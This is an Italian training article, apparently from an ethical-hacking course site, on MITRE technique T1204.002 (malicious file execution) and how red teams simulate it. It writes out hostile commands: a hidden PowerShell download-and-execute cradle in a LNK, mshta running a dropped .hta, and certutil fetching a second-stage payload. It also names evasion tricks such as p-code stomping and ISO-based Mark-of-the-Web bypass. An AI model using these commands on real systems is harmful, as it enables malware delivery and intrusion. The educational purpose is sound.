Esecuzione di File Malevolo: Malicious File (T1204.002)

La tecnica T1204.002 - Malicious File descrive lo scenario in cui un avversario ottiene esecuzione di codice sfruttando l'apertura, da parte dell'utente, di un file appositamente confezionato. Rientra nella tattica TA0002 (Execution) e rappresenta uno degli sbocchi più frequenti dopo una Spearphishing Attachment, ma può manifestarsi anche in fasi successive, ad esempio quando un attaccante deposita un file su una share condivisa o sul desktop nella speranza che qualcuno lo esegua.

Il ventaglio di formati abusati è ampio: documenti Office con macro (.doc, .docm, .xls, .xlsm), PDF, RTF, ma anche eseguibili mascherati (.exe, .scr, .pif), collegamenti (.lnk), file di configurazione (.cpl, .reg) e contenitori come .iso usati per bypassare il Mark-of-the-Web. Frequentemente l'inganno è rinforzato da Masquerading e Obfuscated Files, con convenzioni di naming familiari o archivi protetti da password con istruzioni allegate per aggirare i controlli di gateway.

I numeri raccontano la pervasività: 84 gruppi APT documentati, 90 famiglie di malware, 11 campagne tracciate e appena 3 mitigazioni consolidate. È una tecnica trasversale a tutti i profili di attaccante, dallo state-sponsored (APT28, APT29, Lazarus Group) al cybercrime finanziario (FIN7, TA505, Wizard Spider), fino agli operatori ransomware moderni (Black Basta, Storm-1811, Qilin). L'unico anello debole realmente stabile resta il fattore umano, ed è lì che convergono sia le difese sia gli sforzi offensivi.

In un ingaggio red team autorizzato, la simulazione di T1204.002 parte dalla costruzione del lure. Per generare payload Office con macro VBA in ambiente lab si usa comunemente MacroPack Community (open source) oppure EvilClippy (open source) per manipolare i documenti e nascondere il codice VBA agli analizzatori statici. La sintassi tipica è EvilClippy.exe -s decoy.vba -g target.docm per iniettare stomping del p-code, tecnica che rende il source VBA invisibile ma il p-code compilato ancora eseguibile.

Per i payload basati su LNK, il tool di riferimento è LNKUp (open source) o gli script PowerShell di generazione manuale via WScript.Shell. Un LNK che invoca powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('')" rimane il pattern didatticamente più chiaro per mostrare al blue team come un singolo doppio-click possa innescare la catena. L'inserimento in un contenitore ISO — generabile con mkisofs su Linux (open source) o PowerShell New-IsoFile — replica la tattica ampiamente sfruttata da Bumblebee e IcedID per aggirare il Mark-of-the-Web, dato che i file estratti da ISO montate non ereditano la Zone.Identifier.

Per la fase di weaponization con payload eseguibili mascherati, Invoke-Obfuscation (open source) e Donut (open source) permettono di generare shellcode .NET convertito in loader PE, mentre Nim-Shellcode-Loader (open source) o Havoc C2 (open source) offrono framework post-exploitation compatibili con il pattern di consegna via file.

Una catena realistica in laboratorio prevede: (1) documento Word con macro AutoOpen che scrive un file .hta in %TEMP%, (2) esecuzione via mshta.exe %TEMP%\update.hta, (3) download della seconda stage tramite certutil -urlcache -split -f payload.exe, (4) esecuzione del beacon. È la stessa struttura documentata per Emotet, TrickBot e QakBot.

Per social engineering testing, GoPhish (open source) e Evilginx3 (open source) coprono la parte di consegna e tracking del click. Fondamentale, in ogni engagement, concordare con il committente le safe-word nei documenti (metadata custom, watermark) per distinguere il traffico red team dai reali incidenti. Su macOS, la simulazione richiede DMG firmati con certificati di test e attributo com.apple.quarantine per riprodurre fedelmente il percorso Gatekeeper che OSX/Shlayer ha storicamente aggirato.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.